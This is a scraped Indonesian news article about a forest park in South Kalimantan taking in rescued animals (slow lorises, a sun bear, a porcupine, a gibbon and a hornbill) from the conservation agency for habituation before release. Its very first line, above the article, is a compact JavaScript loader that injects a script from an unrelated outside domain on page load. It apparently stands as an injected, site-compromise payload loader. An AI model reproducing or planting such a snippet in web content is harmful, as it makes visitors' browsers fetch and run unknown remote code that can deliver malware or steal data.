(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Taman Hutan Raya Sultan Adam Tambah Keluarga Baru


BANJARBARU, Taman Hutan Raya (Tahura) Sultan Adam, yang merupakan UPTD dari Dinas Kehutanan Kalimantan Selatan, kembali menerima keluarga baru sebagai penghuni sementara.  Keluarga baru tersebut terdiri 4 ekor kukang, 1 ekor beruang madu, 1 ekor landak, 1 ekor uwa-uwa, dan 1 ekor burung rangkong badak.  Satwa-satwa tersebut diterima dari Badan Konservasi Sumber Daya Alam (BKSDA) Kalsel, Jum’at (9/3).

Ka Tahura Sultan Adam Sri Wuryati mengatakan, satwa-satwa tersebut dititip-rawatkan sementara di sana sebagai langkah untuk habituasi sebelum dilepasliarkan ke alam liar. Hal ini sebagai wujud kerjasama antara BKSDA Kalsel dengan Tahura.

“Jadi dititipkan sementara, sebelum nantinya dilepas-liarkan setelah melalui tahapan habituasi,” ujarnya.

Sri Wuryati mengatakan, bukan kali ini saja Tahura Sultan Adam mendapat titipan dari BKSDA. Sebelumnya juga sempat ada binatang lain yang dititip untuk proses habituasi.

Di sisi lain, Kepala SKW 2 BKSDA Kalsel, M Ridwan Effendi menyampaikan, tujuan dari habituasi ini sebagai langkah untuk mengembalikan sifat liar satwa-satwa tersebut agar siap untuk kembali ke alam liar.

“Nantinya juga akan dilakukan kontrol medis terkait kesehatan dan psikis satwa-satwa tersebut sebelum mereka dilepaskan ke alam liar”, katanya kepada Kanalkalimantan.com, Senin (12/3).

Foto : Dishut Kalsel

Penitip rawatan satwa-satwa tersebut juga merupakan tindak lanjut perjanjian kerja sama antara Balai KSDA Kalimantan Selatan dengan Dinas Kehutanan Prov. Kalimantan Selatan tentang optimalisasi penguatan fungsi kawasan Tahura Sultan Adam dan Pengawetan Keanekaragaman Hayati khususnya satwa liar yg dilindungi undang-undang.

Ridwan menambahkan, pada tahun 2017 juga sudah pernah dilakukan penitiprawatan beruang dan binturung.  Jadi kerjasama sudah dilakukan semenjak tahun 2017 antara pihak Balai KSDA Kalsel dengan Dinas Kehutanan Kalsel.

Selain itu, penitip-rawatan ini juga dikarenakan adanya penataan dan perbaikan kandang transit satwa yang ada di BKSDA SKW 2.

Dia juga menyampaikan, satwa-satwa yang dititip-rawat di Tahura SA berasal dari penyerahan masyarakat kepada pihak BKSDA Kalsel, “untuk beruang merupakan penyerahan dari masyarakat di Banjarmasin tahun kemaren”, ujarnya (abdullah)

Reporter : Abdullah
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.